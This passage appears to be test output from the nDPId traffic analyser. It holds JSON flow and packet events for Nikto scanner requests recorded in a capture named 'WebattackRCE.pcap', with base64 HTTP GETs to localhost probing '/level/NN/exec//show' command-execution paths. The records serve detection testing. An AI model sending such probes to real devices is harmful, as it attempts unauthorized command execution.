+00636{"flow_id":611,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":611,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":670722,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADI1RxAAEAGZxF\/AAABfwAAAcZgH5DKr+wUPhtD5IAYAED+vAAAAQEICp1m\/s6dZv7OR0VUIC9sZXZlbC82My9leGVjLy9zaG93IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzEwKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":611,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":611,"flow_packet_id":1,"flow_first_seen":1576420277670,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50784,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/63\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001310)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":612,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":612,"flow_packet_id":1,"flow_first_seen":1576420277675,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50786,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":612,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":612,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":675320,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADI4N9AAEAGW05\/AAABfwAAAcZiH5DpddnYHCFGp4AYAED+vAAAAQEICp1m\/tOdZv7SR0VUIC9sZXZlbC82NC9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzMTEpDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":612,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":612,"flow_packet_id":1,"flow_first_seen":1576420277675,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50786,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/64\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001311)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":613,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":613,"flow_packet_id":1,"flow_first_seen":1576420277677,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50788,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":613,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":613,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":677237,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIG8lAAEAGIGV\/AAABfwAAAcZkH5CYBSLNt2luhoAYAED+vAAAAQEICp1m\/tWdZv7VR0VUIC9sZXZlbC82NS9leGVjLy9zaG93IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzEyKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":613,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":613,"flow_packet_id":1,"flow_first_seen":1576420277677,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50788,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/65\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001312)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":614,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":614,"flow_packet_id":1,"flow_first_seen":1576420277678,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50790,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00637{"flow_id":614,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":614,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":678916,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIttNAAEAGhVp\/AAABfwAAAcZmH5DUdY\/bkd0KuYAYAED+vAAAAQEICp1m\/tadZv7WR0VUIC9sZXZlbC82Ni9leGVjLy9zaG93IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzEzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":614,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":614,"flow_packet_id":1,"flow_first_seen":1576420277678,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50790,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/66\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001313)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":615,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":615,"flow_packet_id":1,"flow_first_seen":1576420277680,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50792,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00637{"flow_id":615,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":615,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":680461,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADI\/OVAAEAGP0h\/AAABfwAAAcZoH5ACKMXwYFGAmIAYAED+vAAAAQEICp1m\/tidZv7YR0VUIC9sZXZlbC82Ny9leGVjLy9zaG93IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzE0KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":615,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":615,"flow_packet_id":1,"flow_first_seen":1576420277680,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50792,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/67\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001314)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":616,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":616,"flow_packet_id":1,"flow_first_seen":1576420277681,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50794,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":616,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":616,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":681915,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIw2NAAEAGeMp\/AAABfwAAAcZqH5BLUvpuf7sPloAYAED+vAAAAQEICp1m\/tmdZv7ZR0VUIC9sZXZlbC82OC9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzMTUpDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":616,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":616,"flow_packet_id":1,"flow_first_seen":1576420277681,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50794,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/68\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001315)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":617,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":617,"flow_packet_id":1,"flow_first_seen":1576420277683,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50796,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":617,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":617,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":683450,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIBQVAAEAGNyl\/AAABfwAAAcZsH5CyYjwQgGi0OYAYAED+vAAAAQEICp1m\/tudZv7bR0VUIC9sZXZlbC82OS9leGVjLy9zaG93IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzE2KQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":617,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":617,"flow_packet_id":1,"flow_first_seen":1576420277683,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50796,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/69\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001316)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":618,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":618,"flow_packet_id":1,"flow_first_seen":1576420277685,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50798,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00637{"flow_id":618,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":618,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":685042,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADI1dZAAEAGZld\/AAABfwAAAcZuH5B\/K+zaVaEXFIAYAED+vAAAAQEICp1m\/tydZv7cR0VUIC9sZXZlbC83MC9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzMTcpDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":618,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":618,"flow_packet_id":1,"flow_first_seen":1576420277685,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50798,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/70\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001317)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":619,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":619,"flow_packet_id":1,"flow_first_seen":1576420277687,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50800,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":619,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":619,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":687751,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIUq1AAEAG6YB\/AAABfwAAAcZwH5AONGunkxG0mYAYAED+vAAAAQEICp1m\/t+dZv7fR0VUIC9sZXZlbC83MS9leGVjLy9zaG93IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzE4KQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":619,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":619,"flow_packet_id":1,"flow_first_seen":1576420277687,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50800,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/71\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001318)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":620,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":620,"flow_packet_id":1,"flow_first_seen":1576420277689,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50802,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":620,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":620,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":689908,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIo8lAAEAGmGR\/AAABfwAAAcZyH5BwuZrK24oufIAYAED+vAAAAQEICp1m\/uGdZv7hR0VUIC9sZXZlbC83Mi9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzMTkpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":620,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":620,"flow_packet_id":1,"flow_first_seen":1576420277689,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50802,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/72\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001319)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":621,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":621,"flow_packet_id":1,"flow_first_seen":1576420277691,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50804,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":621,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":621,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":691763,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIVsBAAEAG5W1\/AAABfwAAAcZ0H5BhJ2+x3S4KSIAYAED+vAAAAQEICp1m\/uOdZv7jR0VUIC9sZXZlbC83My9leGVjLy9zaG93IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzIwKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":621,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":621,"flow_packet_id":1,"flow_first_seen":1576420277691,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50804,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/73\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001320)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":622,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":622,"flow_packet_id":1,"flow_first_seen":1576420277693,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50806,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":622,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":622,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":693490,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIebZAAEAGwnd\/AAABfwAAAcZ2H5BNR0C8mP2KqIAYAED+vAAAAQEICp1m\/uWdZv7lR0VUIC9sZXZlbC83NC9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzMjEpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":622,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":622,"flow_packet_id":1,"flow_first_seen":1576420277693,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50806,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/74\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001321)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":623,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":623,"flow_packet_id":1,"flow_first_seen":1576420277695,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50808,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":623,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":623,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":695042,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIMBZAAEAGDBh\/AAABfwAAAcZ4H5ACzwkce7l1k4AYAED+vAAAAQEICp1m\/uadZv7mR0VUIC9sZXZlbC83NS9leGVjLy9zaG93IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzIyKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":623,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":623,"flow_packet_id":1,"flow_first_seen":1576420277695,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50808,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": 